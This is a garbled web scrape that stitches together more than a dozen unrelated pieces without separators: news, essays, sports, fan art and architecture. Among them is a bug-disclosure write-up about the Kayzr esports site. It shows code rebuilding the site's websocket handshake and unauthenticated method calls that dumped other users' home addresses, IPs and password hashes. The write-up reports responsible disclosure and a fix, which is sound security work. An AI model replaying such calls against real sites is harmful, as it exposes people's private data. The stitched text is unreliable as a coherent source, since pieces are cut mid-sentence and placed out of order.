dine University and had stopped for drinks on the way home. Because her boyfriend had the least to drink, he told police, he was driving late that night when the car, traveling about 80 miles per hour, spun around on the rain-slick Pacific Coast Highway and struck a telephone pole just south of Coastline Drive. Thomas was a back seat passenger in the Porsche Carrera, and was killed instantly. The other friend died at the hospital later. Thomas' boyfriend was hospitalized with internal injuries and "was arrested for investigation of driving under the influence of alcohol,"[2] though no further legal action about the matter was reported in the local newspaper. Thomas was also working on a sequel to Raiders of the Lost Ark before she died. Details of what would have been the third Indiana Jones film are sketchy, other than that it was set in a haunted mansion.[6] Steven Spielberg, however, was reportedly resistant to the haunted mansion approach, feeling it too closely resembled his earlier film Poltergeist. At the time of her death, Thomas had completed the first draft.[3][7]
Diane Thomas Screenwriting Awards Edit
Following her death, the UCLA Extension Writers' Program created the Diane Thomas Screenwriting Awards in her honor.[3] Original judges included Steven Spielberg, Michael Douglas, James Brooks and Kathleen Kennedy.×
a["{"msg":"added","collection":"users","id":"***CUT***","fields":{"createdAt":{"$date":1456509130107},"services":{"password":{"bcrypt":"***CUT***"},***All personal information and IP's***
["{"msg":"sub","id":"***Random ID***","name":"usernameFromId","params":["***My user ID***"]}"]
// log() starts on websocket response and logs it to a textarea function log( text ) { $log = $('#log'); $log.append(($log.val()?"
":'')+text); if(text == 'o'){ log( "sending preload" ) // At first I included the authentication requests but after // further inspection the requests worked unauthenticated send('["{\\"msg\\":\\"connect\\",\\"version\\":\\\"1\\",\\"support\\":[\\"1\\",\\"pre2\\",\\"pre1\\"]}"]'); } if(text.indexOf("ping")!== -1){ send('["{\\"msg\\":\\"pong\\"}"]'); // invokes pong reply from server // send('["{\\"msg\\":\\"ping\\"}"]'); } }
["{"msg":"method","method":"users.findUsersByRegex","params":["***Username***"],"id":"90"}"]
As an avid gamer I will always support local esport services. One of them being Kayzr (previously besports), a Belgian based esports tournament organiser. While using their website I noticed a LOT of javascript, my analyzer gave Ink, Meteor, Moment.js, React, underscore.js, etc... And with a lot of client-sided generated content comes a lot of risks.Kayzr.com is well build with a ton of websocket traffic in order to load all the different modules on the site which creates a fast - but not very responsive ;) - website with some very cool features. With chrome we can analyze all this traffic.Whilst inspecting all the traffic while browsing the site my eyes fell on this reply. More specifically the 'password' field is what stood out the most.Out of nowhere I saw my personal information flash by: home address, email, my logged in IP's, what I assume my hashed password (probably salted, cross checked the regular hash of mine) and hashed session tokens. This is a way to much information to be send to back to a user. In the mess of the websocket traffic I didn't immediately find the correct request which triggered this response, so I kept browsing until I saw it again. Surely enough it returned a lot and found the evil function. Side note: 'usernameFromId' implies the function should only return the id from the user and not a full data dump of a user.In order to recreate the request I made my own websocket to connect to theirs with fancywebsocket.js. To succesfully create a connection I recreated their 'handshake'.When the connection was successfully made, I send the 'evil' method and it returned with all my personal info, awesome! Upon repeating the same request the server responded with an error and closed the connection. Strange. After some inspection of the id's I noticed the first 'id' is random generated used for tracking requests and when using the same id multiple times in one session the server closes the session. Now I needed the id's from other users. When using the search function on the site I found the exact function I needed.And as expected, the server returned the id's of the found usernames. And after an unauthenticated request with my own websocket, targeting my own account and bingo!, it replied.And at the end of the reply.Found leak, I was tired, went to sleepConfirmed the leakFirst contact with KayzrKayzr replied and asked to confirm with given usernameI repliedKayzr confirmed the error and deployed ASAPKayzr asked to try again, leak was fixedRewarded: 69.000 coins = A crate (24) Jupiler pilsThis wasn't a very difficult vulnerability but still one with a huge impact. Overall I'm very happy with the response of Kayzr, even though they don't have bug bounty program they greatly appreciated my help. This leak could have been used to get IP addresses of contestants of their hosted tournaments and DDOS, which can be very impactful in a game like CS:GO. Or to get home addresses for sore losers.Schol!A Pew Research study asked over 3000 American adults where they got their news yesterday, allowing them to list all sources. Online news (34%) beat out print media (31%) and tied with radio news. Including mobile web raises the percentage to 44%, beat out only by TV news (58%). Only 8% of adults younger than 30 said they had read a print newspaper the day before. This isn’t the first time online news has beat print media. In a Pew Research study a couple years ago, Americans were asked what one news source they used the most. Online news scored 40% to print media’s 30%.
New Yorkers are going to have a slightly easier time getting their news at public parks soon. Time Warner and Cablevision are going to spend $10 million to give away very limited Wi-Fi at 32 parks in the city in exchange for 10-year franchise renewals and the ability to charge users 99 cents per day if they exceed the Wi-Fi limits. Sounds good, except the limit is ten minutes at a time for no more than thirty minutes per month in total.
A new music service is planning to be far more generous than New York City’s Wi-Fi. Musopen aimed to raise $11,000 to hire a professional orchestra to make recordings of the symphonies of Beethoven, Brahms, Sibelius, and Tchaikovsky and put them into the public domain. They’ve already done the same with other public domain songs, albeit with less skilled orchestras like high school bands. Some of their songs have been used in independent movies and in an episode of Mythbusters. Their $11,000 goal was posted on Kickstarter. They raised over $68,000. Hey, guys, could I borrow a dime? No? How about some Mozart instead?
[news-links]
Pew Research study finds online news is beating print news. (TechCrunch)
Parks in New York City are going to start providing free Wi-Fi, but there’s a catch. (NYDailyNews)
Musopen raises $40,000 for free classical music recordings. (ArsTechnica)
[/news-links]
[news-morenews]
A serious news outlet investigates if Twilight is altering teen minds. Seriously. (MSNBC)
School suspends boy for having bloodshot eyes because they think he might have been high. On the other hand, his father had been murdered earlier that week and he’d been mourning. (Arbroath)
Female snails in Australia are growing penises on their foreheads after being exposed to Tributyltin. They’re the unicorns of the sea. (Wired)
[/news-morenews]
[news-stats]
It’s tragic when a species becomes threatened. Even more tragic when we’re too busy giggling to help them: “Number of blue tits plunges by 42% as experts warn modern feeders are threatening species” (DailyMail)
Print newspaper circulation is at an record low, and the industry is projected to lose 25% of its jobs over the next eight years. (Is Print Dead?)
A perspective on the trapped Chilean miners: “What if everything you needed had to fit through this space?” Well, I can think of one thing I need that fits. (Newsweek)
[/news-stats]next Image 1 of 3
prev next Image 2 of 3
prev Image 3 of 3
Japanese Prime Minister Shinzo Abe said Monday that the Trans-Pacific Partnership trade deal would be "meaninglessless" without the United States.
Abe spoke after attending a weekend meeting of Asia-Pacific leaders in Peru at which some said they might seek to modify the 12-nation TPP pact to make it more appealing to U.S.-President-elect Donald Trump, who has strongly criticized it, or seek to implement it without the U.S.
But Abe discounted the idea of going ahead without American participation.
"TPP is meaningless without the United States," he said at a news conference during his official visit to Argentina.
He also said the pact couldn't be renegotiated. "This would disturb the fundamental balance of benefits."
As Japan's most powerful leader in a decade, Abe had invested political capital in overcoming strong domestic opposition to the TPP, which Trump called "a disaster for jobs" in the United States.
Abe and the other 20 leaders of the Asia-Pacific Economic Cooperation group closed their annual summit Sunday with a unified call to resist the protectionist sentiment highlighted by Trump's victory and Britain's vote to leave the European Union.
The Japanese leader declined to comment on possible policies of the incoming Trump administration.
Last week, he became the first world leader to meet with Trump since his election. Abe, who was seeking reassurances over the future of U.S.-Japan security and trade relations, described the meeting as "really, really cordial," but he offered few details of their discussion.
There are growing concerns in Japan that Trump might follow up his campaign rhetoric and demand that Tokyo pay more for the 50,000 American troops stationed in Japan under a security treaty. Japan pays about $2 billion a year, about half of the non-personnel costs of stationing the U.S. troops, while South Korea pays about $860 million a year for about 28,000 American troops based there.
Japan's pacifist constitution, drafted under U.S. direction after World War II, forbids the use of force in settling international disputes, but the government has reinterpreted the constitution to allow Japanese troops to use force in some situations.
For the first time since World War II, Japanese peacekeepers arrived in South Sudan on Monday with a mandate allowing them to use force to protect civilians.
Earlier Monday, Abe met with Argentine President Mauricio Macri and signed trade deals in the first visit by a Japanese premier to Argentina in 57 years. Abe was joined by business leaders and CEOs of major Japanese companies and banks, including Mitsubishi, Bank of Tokyo and Toyota.
"From here on, through the joint public and private sectors, we will promote Japanese involvement in infrastructure and other sectors in Argentina," Abe said, praising the huge potential of South America's second-largest economy and Macri's efforts "to encourage free and open economic policies."
Business-friendly Macri has promised to revive Argentina's weak economy after 12 years of protectionist policies under his predecessors. Since taking office in December, Macri has focused on attracting foreign investors, cutting government spending and ending economic distortions. But some industries are still struggling and Argentines continue to lose purchasing power to one of the world's highest inflation rates.
Abe also said that he had discussed the importance of world peace and stability with Macri and agreed with him on the "importance of solving conflicts peacefully."
"We've also exchanged opinions about the need to pressure North Korea more because the nuclear missile threat from that country has increased," Abe said.
Abe has urged an expanded role for Japan's military so that it can respond to threats that include China's growing military assertiveness and North Korea's nuclear ambitions, and he hopes to eventually rewrite the pacifist constitution. Many in Japan oppose such constitutional amendments.
___
Associated Press writer Almudena Calatrava contributed to this report.
___
Luis Andres Henao on Twitter: https://twitter.com/LuisAndresHenaoComm for Grendel is the daughter of Fluttershy and Discord. She can be found up on the roof, ready to pounce at any moment. Also, before anybody says it, I am very much aware that Grendel is a guy, but nobody knows his mother’s name (To my knowledge), so that’s why I gave his name to a female.Next up, we have little Lavender Sweet, the daughter of Twilight and Thorax. Just like her mother, she loves books, and can be found reading one down there in the corner.Behind Lil Sweet is Butch, the first son of Rarity and Blueblood. He is currently trying to take a plush furret for himself. He seems innocent, but he’s really not.Defending the furret plush is Cynder, Spike and Ember’s daughter. She’s a dragon, so she doesn’t share easily.On the far right, you can see Rarity and Blueblood’s second son, Loki, pinned to the ground after a wrestling match. Contrary to popular belief, the child of Discord is not the most mischievous thing out there, and Grendel often gets outdone by Loki in terms of pranking and being a nuisance.And lastly, the winner of the wrestling match is Mjölnir, the son of Twilight and Thorax. How fitting, huh? Somepony with a name associated with Thor beats a pony named Loki in a wrestling match.---All the design are made by me ^^ took me a while to think in the colors and how they will look likeOkay, a couple of things about these. I just did them in the straight black/white color scheme to match the kid sprites in the comic. Personally, I don’t have any intricate humanized troll headcanons, but they seem really bizarre to me if they have any color other than black hair which is why I didn’t give any of them blonde hair like the derse humans. Maybe one day though I’ll go back and do some different hair and skin tones, idk.
Now, wait a minute. There are three missing here! Where are Karkat, Equius, and Gamzee you might ask. Well the answer to that is: I haven’t finished them yet. Those three are proving to be a little more difficult than the others for a variety of reasons, mainly teeth and face paint. But one day I’ll finish them, dammit. One day.
Oh, and here’s alive Aradia as well, since I guess she sort of fits in here too?When UTSA hired Frank Wilson I thought it was only a matter of time before the Roadrunners started to make in roads in San Antonio and around the state of Texas. Wilson was one of LSU’s home run hitters on the trail when going after a guy. But what Wilson is doing to his competition in C-USA West (specifically Rice, North Texas, UTEP) is ridiculous.
UTSA has the best recruiting class in C-USA. North Texas, UTEP, and Rice each currently have a class ranked in the bottom half of C-USA. UTSA has 17 three stars right now. North Texas (3), Rice (2) and UTEP (1) have a combined six.
UTEP has consistently finished near the bottom of C-USA in recruiting under Sean Kugler so there’s no surprise there. Rice had the best class in C-USA throughout the regular season but their class has been picked apart by P5 schools since the season has ended.
North Texas meanwhile shouldn’t be that far behind UTEP as they brought in Seth Littrell at the same time UTSA brought in Wilson. Littrell did wonders with the team he inherited last year but he has yet to make an impact on the trail just yet.
As for the rest of the West things seem to be the status quo. Southern Miss is on their way to finishing with a class that will rank near the top of C-USA and Louisiana Tech isn’t that far behind.
Out in C-USA East FAU had received all the hype with Lane Kiffin coming to Boca but it’s FIU who is slated for the stronger class on Wednesday. FIU has 11 three stars committed to play for Butch Davis in Miami.
I know FAU is getting all the pub with Lane Kiffin, but FIU is picking up a number of good football players who have P5 talent... — SB Nation Recruiting (@SBNRecruiting) January 29, 2017
The Panthers appear to no longer be an afterthought come February like they were under previous head coach Ron Turner.
In a bit of a shocker Marshall has the second to worst recruiting class in C-USA right now with just four three stars committed. Since joining C-USA Marshall has run circles around their peers on National Signing Day as the Herd has had the best recruiting class in C-USA every year since 2013 (in 2012 they finished third).
Many assumed that with the new hires made by the G5 schools in the Sunshine State those who have thrived recruiting Florida before was going to take a hit and it appears Marshall has been one of those teams. With only 12 players committed so far I expect Doc Holliday to finish strong and have a class that will finish in the top half of the conference.
The team who has replaced Marshall has been Middle Tennessee as the Blue Raiders have the second most three stars committed in C-USA with 13. MTSU has finished with the fourth best class in C-USA in each of the past two years so a jump to third would be a great sign for Rick Stockstill that his roster is good enough to win the league.
As a whole, it’s great to see the talent that is coming to C-USA. Last year C-USA had 100 three stars and one four star on National Signing Day in 2016 (not including UAB due to how many players they were allowed to take). This year the conference has 98 but the three stars appear to be stronger as many of them currently hold P5 offers.
With two days left until National Signing Day there’s still room for a ton of movement as it is poaching season for the P5. With that in mind, it is imperative for the coaches to “Always Be Closing” as the finish line is within sight for National Signing Day 2017.Engine technology being developed for a British space plane could also find its way into hypersonic aircraft built by the U.S. military.
The U.S. Air Force Research Laboratory is studying hypersonic vehicles that would use the Synergetic Air-Breathing Rocket Engine (SABRE), which the English company Reaction Engines Ltd. is working on to power the Skylon space plane, AFRL officials said.
"AFRL is formulating plans to look at advanced vehicle concepts based on Reaction Engine's heat-exchanger technology and SABRE engine concept," officials with AFRL, which is based in Ohio, told Space.com via email last month. [The Skylon Space Plane (Images)]
A bold British space plane concept
SABRE and Skylon were invented by Alan Bond and his team of engineers at the Abingdon, England-based Reaction Engines.
SABRE burns hydrogen and oxygen. It acts like a jet engine in Earth's thick lower atmosphere, taking in oxygen to combust with onboard liquid hydrogen. When SABRE reaches an altitude of 16 miles (26 kilometers) and five times the speed of sound (Mach 5), however, it switches over to Skylon's onboard liquid oxygen tank to reach orbit. (Hypersonic flight is generally defined as anything that reaches at least Mach 5.)
Two SABREs will power the Skylon space plane — a privately funded, single-stage-to-orbit concept vehicle t-hat is 276 feet (84 meters) long. At takeoff, the plane will weigh about 303 tons (275,000 kilograms).
The SABRE heat exchanger is also known as a pre-cooler. It will cool the air entering Skylon's engines from more than 1,832 degrees Fahrenheit (1,000 degrees Celsius) down to minus 238 degrees Fahrenheit (minus 150 degrees C) in one one-hundredth of a second. The oxygen in the chilled air will become liquid in the process. [Skylon's Many Possible Missions (Video)]
"The [pre-cooler] performance has always been pretty much what we predicted," Bond explained in an interview with Space.com at the Farnborough International Airshow in England on July 16. "We've now done over 700 actual tests. It's now done as much service as a pre-cooler would in a real engine."
Bond's team has also successfully tested the pre-cooler for a problem aviation jet engines have to deal with: foreign objects being sucked in.
"We know it [the pre-cooler] can take debris, insects, leaves," Bond said.
Working with the U.S. military
Bond estimates that the pre-cooler is now at a technology readiness level (TRL) of about 5. NASA and AFRL use a 1-to-9 TRL scale to describe a technology's stage of development. According to NASA's TRL descriptions, 5 represents "thorough testing" of a prototype in a "representative environment."
The AFRL work is being carried out under a Cooperative Research and Development Agreement (CRADA) with Reaction Engines that was announced in January. AFRL officials told Space.com that they are using computers to model SABRE.
"The Air Force research laboratories in the States have carried out some modeling to verify that the SABRE does actually work, that it is a real engine, and so I am hoping they are going to confirm that very soon," Bond said.
"This is obviously opening doors in the United States, and again, I can't say a great deal about that, but we have very good dialogue going across the Atlantic," he added. "In the next couple of years, it's going to be quite exciting."
Bond declined to confirm rumors of organized support within the U.S. aerospace community that involves former senior program managers of the U.S. military's most high-profile defense projects.
Bond sees Skylon as an international project that would include the U.S. and Europe.
"We're in dialogue with people across Europe in regard to supplying [rocket engine components]. We don't want to reinvent the wheel; we'd like to be the engine integrator and put it on our test facilities and run it," he explained.
Milestones approaching
Two SABRE engines are expected to be tested in 2019. "Hopefully, the earlier part of 2019," Bond said. "I'd like to feel we can test them on Westcott. That is where the rocket propulsion establishment used to be." (In the 1950s and 1960s, the United Kingdom had its own space program; the nation launched a satellite called Prospero with its last rocket, Black Arrow, in 1971. Westcott is about a one-hour drive from Reaction Engines' headquarters).
The SABRE development program is expected to cost 360 million British pounds ($600 million at current exchange rates). "We've got 80 million [British pounds] of the 360 million lined up. We're well on our way to that," Bond said.
Of the 80 million pounds, 60 million is from the U.K. government. As with the commercial ventures NASA supports, Reaction Engines has to meet milestones to acquire those government funds.
"We have to meet milestones, but those are programmatic issues," Bond said. "There is nothing contentious about that; it is just a matter of getting the work done to get there. I think of it as an R&D program, and we've done the 'R' bit, and this part forward is the 'D' bit. We've spent years making sure the technology actually works."
In January, this R&D program reached its third phase, which is split into four sections, known as 3A, 3B, 3C and 3D. Sections 3A and 3B are being carried out in cooperation with the European Space Agency (ESA).
Section 3A began in January and will last until April 2015. It involves the engine's system design, revising the engine's layout and studying the impact on Skylon's performance. This work will cost 8 million euros ($10.7 million, or 6.4 million British pounds), half of which will come from the U.K. government and ESA and the other half from Reaction Engines' private investment.
"This is it for real now; this isn't studies anymore," Bond said. Section 3A will continue until spring 2015, and section 3B is due to start in January 2015, he added. "That is the preliminary design phase,." Bond said.”
Section 3B will last until the end of 2015. During this section, the characteristics of the engine components will be defined and technical specifications produced.
Section 3C, which starts from mid-2015, will see 10 million euros ($13.37 million, or 8 million British pounds) from the U.K. government spent. The section 3C work with suppliers overlaps section 3B. This is because some of the components will get specifications during 3B before other parts of the engine are fully defined. Those detailed components with specifications can then be given to prospective suppliers during the first few months of section 3C.
"In 3C, we start to do detailed design — what the bearings will look like, who is the supplier going to be, that sort of stuff. This is really exciting stuff. We're starting to pull the real engine together during the course of next year," Bond said.
He explained that for section 3C, his company will spend "some of the U.K. government money alongside some of our own private investment." The government money has "enabled us to raise quite a few millions of private investment to go alongside that, and we're continuing that [fund-raising] activity," Bond said.
Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.Names make news, an old newsroom motto has it. But names also make opinions. What something gets called can have more spin on it than a Mariano Rivera cutter, whether the person doing the calling intends it that way or not. Sometimes the difference between positive and negative is a matter of taste, literally or figuratively. (My sweet might be your treacly. Or your cloying.) Sometimes the difference is a product of circumstances, as when yesterday’s beachfront property becomes today’s flood zone. Sometimes it gets all judgmental. After a couple of Martinis one may regard oneself as pleasantly pixillated, but one’s spouse may consider one drunk as a skunk.
In politics, the naming is almost always with malice (or niceness) aforethought. Judea and Samaria, the West Bank, the Occupied Territories, Occupied Palestine: all denote the same geographical reality, but on a sliding (or ascending, take your pick) moral scale. Call it what you will—enhanced interrogation or torture, collateral damage or civilian deaths, pro-life or anti-reproductive rights, global warming or climate change, homosexual marriage or marriage equality, assault rifles or “semi-automatic small-calibre sporting rifles with plastic accessories”—it’s all the same, and (excepting torture and warming) it’s all, to some degree, propaganda.
When it comes to Washington’s current (and to all appearances permanent) fiscal fracas, the semantic weeds are as high as an elephant’s eye and higher than a donkey’s. In the battles over debt limits, fiscal cliffs, continuing resolutions, and the budget, the clashing sides deploy duelling vocabularies. The Democrats’ revenue enhancements, public investments, and “the one per cent” are the Republicans’ tax hikes, reckless government spending, and “the job creators.” Reading from left to right, the inheritance tax is the estate tax is the death tax. The Dems prevail in a few of these skirmishes, the Reps in a few more. Most are stalemated. But in one of them the conservative side long ago won a decisive victory, a victory at once famous and infamous: “entitlements.”
The word, that is, not the thing. “Entitlements”—alternatively, “entitlement programs”—is now the standard descriptor for what ought to be called, more accurately and less tendentiously, social insurance. In the early days of Social Security, politicians and bureaucrats occasionally talked of it as an “earned entitlement.” The term then dropped out of sight for decades. It reappeared, minus the “earned,” in the mid-nineteen-seventies, bubbling up in the works of a pair of prominent conservative academics, Robert Nisbet and Robert Nozick.
To Nisbet, its usage was still novel enough to warrant quotation marks. Writing in Encounter, he worried that after a “few more years of egalitarian and redistributionist rhetoric, a few hundred more ‘entitlements,’ ” and a few more efforts to achieve “equal rations, equal housing, equal social esteem, equal strength and beauty,” no one would know “when the final line between a relatively free order and a collectivist servitude has been crossed.” Nozick, in “Anarchy, State, and Utopia,” a libertarian rejoinder to his Harvard colleague John Rawls’s “A Theory of Justice,” developed what he called an “entitlement theory of justice.” To oversimplify: according to Nozick, the only things a person is legitimately entitled to are things he creates by “mixing” his own labor with something that no one else possesses, such as unclaimed land or resources, and things thus created which the person acquires through exchange or as gifts. But it is unjust for things—things like public schools and pensions—to be acquired through redistributive taxation, which is morally “on a par with forced labor.” In other words, what no one is entitled to is, precisely, “entitlements.” The term becomes a contranym—a word with two opposite meanings, like “oversight” or “sanction.” And this one carries more than a hint of sarcasm.
The first official use of “entitlements” in its current sense came during the Nixon Administration, when the 1974 budget act defined it as “payments to persons or governments who meet the requirements established by laws.” But it didn’t rise from the wonky mire until 1982, when, as John H. Makin and Norman J. Ornstein note, in their 1994 book, “Debt and Taxes,” President Reagan, who had always referred to government programs for the old, the sick, and the poor as the “Social Security net,” renamed them “entitlements,” in a speech to a Jaycee convention. The business press quickly followed suit. “Later in the year, other magazines also used the term,” Makin and Ornstein write. “Most of the publications put the word in quotes the first time it was used, indicating its novelty, but not thereafter.”
Thereafter is where we’ve been ever since. “Entitlements” went from nowhere to everywhere in record time. The Washington Post mentioned “entitlements” or “entitlement programs” in the same article as “Social Security” just five times in 1979. In 1982 it happened a hundred and eighteen times. During the nineteen-nineties, the number topped eight hundred. If the current rate holds steady for the rest of this decade, the Post will have racked up seventeen hundred by the end of 2019.
The word “entitle” appears in the first sentence of the Declaration of Independence (just as another dread word, “welfare,” appears in the first sentence of the Constitution), but the present-day uses of its derivatives are, to put it mildly, problematic. A so-called entitlement is a benefit extended to those who meet the lawful requirements, without the need for a specific appropriation. (Under this definition, by the way, a hedge-fund manager’s low tax rate fills the bill as snugly as Grandma’s Social Security check.) But “acting entitled” or having “a sense of entitlement” is something no one yearns to be accused of. Just ask Donald Trump, Justin Bieber, and the Kardashians if it makes them feel flattered.
Perhaps President Reagan chose to call the public services he disliked by a new name simply for convenience. “Entitlements” is a syllable shorter than “social insurance.” That saves time, and time is money. But Reagan’s would-be heirs may have other motives. In the runup to last year’s election, the Fox Business Web site devoted a week to “Entitlement Nation: Makers vs. Takers.” Mitt Romney denounced President Obama as the avatar of a dystopian “Entitlement Society.” And, in his most memorable speech, Romney accused the “forty-seven per cent” of Americans who supposedly “believe that they are victims” of also believing “that they are entitled to health care, to food, to housing, to you name it—that that’s an entitlement, and the government should give it to them.”
Nobody forced liberals, and everybody in between, to go along with a usage that Daniel Patrick Moynihan once called “semantic infiltration.” President Obama, in his inaugural address, did not let the word “entitlements” pass his lips. Instead, he spoke of Medicare and Social Security, which, he said, “do not make us a nation of takers; they free us to take the risks that make our country great.” Yet he, like too many other Democrats, was soon back to talking about “entitlements.” Next week, he presents his budget proposals to Congress—a fit occasion for him, and his party, to start watching their language. ♦DCPP organizes casa campestre around two external patios in mexico city
DCPP organizes casa campestre around two external patios in mexico city
in mexico city, local practice DCPP arquitectos has completed a two-storey dwelling whose design is based on rectangular proportions. totaling 325 square meters, ‘campestre 107’ is located in the city’s san angel inn district, with a bold façade presented to the passing street. the building’s plot measures 11 meters in width and 33 meters in length. this ratio has guided the design of the property, whose built structure only represents a third of the available site.
a bold façade is presented to the passing street
all images by rafael gamo
DCPP organized the residence around two external patios, which separate public areas of the home from more private zones. contained within a T-shaped plan, regular public spaces are articulated around the first patio, where a hall, a living room, a dining room, and a kitchen form the first part of the dwelling. in contrast, the private spaces — such as the master bedroom and the family room — can be found at the rear. the majority of living accommodation is found at ground level, while the upper storey contains rooms for guests.
the residence is organized around two external patios
the two terraces separate public areas of the home from more private zones
the built structure only represents a third of the available site
contained within a T-shaped plan, regular public spaces are articulated around the first patio
areas of greenery have been introduced throughout the dwelling
a living room, dining room, and kitchen form the first part of the dwelling
internal living spaces are brightly and naturally lit
the majority of living accommodation is found at ground level
the upper storey contains rooms for guests
the two-storey dwelling is located in mexico city’s san angel inn district
the entire design is based on rectangular proportions
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
image by rafael gamo
project info:
name: casa campestre 107
location: mexico city, mexico
completed: 2015
project: DCPP arquitectos
construction: DCPP construcciones
textiles’ intervention: marisol centeno
photography: rafael gamo
Save
Save
Save
Save
Save
SaveHis wife, Brenda, complains, “It seems like he can no longer be fully in the moment.”
This is your brain on computers.
Scientists say juggling e-mail, phone calls and other incoming information can change how people think and behave. They say our ability to focus is being undermined by bursts of information.
These play to a primitive impulse to respond to immediate opportunities and threats. The stimulation provokes excitement — a dopamine squirt — that researchers say can be addictive. In its absence, people feel bored.
The resulting distractions can have deadly consequences, as when cellphone-wielding drivers and train engineers cause wrecks. And for millions of people like Mr. Campbell, these urges can inflict nicks and cuts on creativity and deep thought, interrupting work and family life.
While many people say multitasking makes them more productive, research shows otherwise. Heavy multitaskers actually have more trouble focusing and shutting out irrelevant information, scientists say, and they experience more stress.
And scientists are discovering that even after the multitasking ends, fractured thinking and lack of focus persist. In other words, this is also your brain off computers.
“The technology is rewiring our brains,” said Nora Volkow, director of the National Institute of Drug Abuse and one of the world’s leading brain scientists. She and other researchers compare the lure of digital stimulation less to that of drugs and alcohol than to food and sex, which are essential but counterproductive in excess.
Advertisement Continue reading the main story
Technology use can benefit the brain in some ways, researchers say. Imaging studies show the brains of Internet users become more efficient at finding information. And players of some video games develop better visual acuity.
More broadly, cellphones and computers have transformed life. They let people escape their cubicles and work anywhere. They shrink distances and handle countless mundane tasks, freeing up time for more exciting pursuits.
For better or worse, the consumption of media, as varied as e-mail and TV, has exploded. In 2008, people consumed three times as much information each day as they did in 1960. |
few new items. Local beer, regional wine, and, of course, milkshakes, will round out the drinks menu.
Kidd Valley opened its first location in the University District in 1975 and has grown to include six standalone restaurants plus several stadium locations throughout Western Washington.Once again, the terms of the Green Bay Packers’ contract with a veteran player are even better than initially reported.
Last week, word got out that the Packers had signed defensive lineman Ricky Jean Francois to a one-year contract. At that time, the reports indicated that the deal was worth $3 million, a decent price for a solid veteran lineman.
Today, Bob McGinn of Packersnews.com reported the official terms of the contract and it’s an even better deal for the team. According to McGinn, the contract is worth just $2 million total, and the only guaranteed money comes in the form of a $250,000 signing bonus.
Here’s the full breakdown:
Base salary: $1.25 million
Signing bonus: $250,000
Per-game active roster bonuses: $25,000 per game ($400,000 total)
Workout bonus: $100,000
Because RJF’s signing kicks a minimum salary off the top 51 contracts list for the Packers, the net effect of this contract on the cap is only about $1.5 million. According to the NFLPA, the Packers currently have $22,378,948 in salary cap space as of Tuesday morning.
This deal is yet another example of the Packers adding a nice depth piece to the team at a relatively inexpensive cost. Could the team continue to add pieces like this over the next few weeks or following the NFL Draft? Stay tuned.YouTube Adds Video Editing Feature Enabling Users to Boost Up Their Video Quality
Several YouTube users might have observed that they can now edit their uploaded videos, thanks to a new video editing feature that was launched on Wednesday worldwide.
This feature will facilitate you to edit uploaded YouTube videos. All you need to do is to just click on “Edit Video” on your video’s webpage or you can click on the My Videos page.
Although this new editing feature is not essentially intended to replace app like Final Cut Pro, it has been launched to assist users to edit their videos according to their interest by consuming lesser time.
YouTube Software Engineer John Gregg summarizes some of the editing options in his blog post. By using this editing feature, you can rotate videos, enhance the colors, brightness and contrast and can even stabilize hand-held footage. The “I’m Feeling Lucky” feature will permit for one-click color and contrast rectification.
YouTube’s team has also joined forces with Picnik to offer innovative special visual effects. This makes it promising for you to add filters such as white and black effects to your videos.
One more thing which is amazing in this editing feature, you can even replace out your audio from video by something else by selecting from a number of accessible music tracks. And if you are having a video that has too much footage at the starting or at end, you can now even trim some of the extra footage from the track.
All you need to do is to click “save” button to start video editing. But in case if you are not satisfied after editing the video, then you can even go back to the original version.It's been more than a year since I last wrote about Microsoft's skunkworks "Midori" operating system project.
But a new blog series from one of the project's participants rekindled my interest in the now-disbanded Midori team and what they learned from their nearly ten-year development project.
I first blogged about Midori in 2008. Microsoft was assembling a team of crack engineers to build a new operating system that wasn't based on the Windows kernel. The Midori team was charged with building not just the OS from scratch, but a full software stack, including a browser, related tools and more.
At its peak, there were as many as 100 developers at Microsoft working on Midori, according to team member Chris Brumme's LinkedIn profile. Brumme identified himself as the "Co-founder, Architect and eventually General Manager for a significant OS incubation effort," that dated back to 2005. (Brumme joined Google in 2015, his profile says.)
Joe Duffy, a development manager and language architect on Midori, recently kicked off what is planned to be a series of about a dozen blog posts about his work on Midori. The first post from November 3 is about the three safeties (type, memory and concurrency). Duffy is currently engineering director for the Compiler and Language Platform group at Microsoft.
With Midori, "although we started with C# and.NET, we were forced to radically depart in the name of security, reliability, and performance," Duffy blogged earlier this month. "Now, I am helping to bring many of those lessons learned back to the shipping products including, perhaps surprisingly, C++. Most of my blog entries will focus on the key lessons that we're now trying to apply back to the products, like asynchrony everywhere, zero-copy IO, dispelling the false dichotomy between safety and performance, capability-based security, safe concurrency, establishing a culture of technical debate, and more."
For a number of years, Microsoft officials tried to downplay, if not hide, Midori's existence. A few of the project's participants made cryptic references to a secret technical incubation with which they were involved at Microsoft. But these days, it's fairly easy to find rather detailed information about the components on which the Midori team worked.
One team member who worked on Midori from 2011 to April 2015, according to her LinkedIn profile, worked on "porting the distributed storage and compute engine to a managed language and bringing it up in the new OS environment." That engineer, Svitlana Tumanova, also worked on helping port the existing C++ codebase to a safer language and on designing the DOM Tree and CSS parts of the browser on the new OS.
Leif Kornstaedt, another engineering lead and architect involved on Midori from 2008 to June 2014, noted in his profile that he worked on "avant-garde approaches to a number of technologies, such as inter-process communication, promises, managed code runtime, ahead-of-time compilation of managed code, managed/native interop, concurrent garbage collection, asynchronous execution models, JavaScript execution and hosting, and Web browser architecture."
David Tarditi, whose LinkedIn profile says he led the Midori tools team from 2007 to Novemer 2013, provides some of the history around Midori:
"I led the tools team for the Midori project, taking the team from 4 people to lots of people. Midori was an operating system written entirely in C# that achieved performance comparable with production operating systems, minus the security and reliability problems found in OSes written in C or C++. We continued developing the Bartok compiler used in the Singularity project so that it could be used to write production-quality systems software in C#. We added support for generics, shared libraries, generic shared code across libraries, and other cool features for systems programming. We connected Bartok to the Phoenix compiler infrastructure and drastically improved the overall quality of code generated by Phoenix so that it was competitive with production C/C++ compilers for SPEC benchmarks and added extensive support for managed code optimization."
(M# emerged as the language that grew out of the Midori team's compiler work.)
As one of my favorite Microsoft sleuths, The Walking Cat (a k a h0x0d on Twitter) has been documenting for years, many of the Midori team members left Microsoft. Once the project was moved under the current Operating Systems Group, even more ended up departing the team, if not the company. Earlier this year, Eric Rudder, who sources said was the executive champion of Midori, also left the company.
The Microsoft party line is that the Operating Systems Group and other teams at the company are incorporating "learnings" from Midori into what Microsoft builds next.
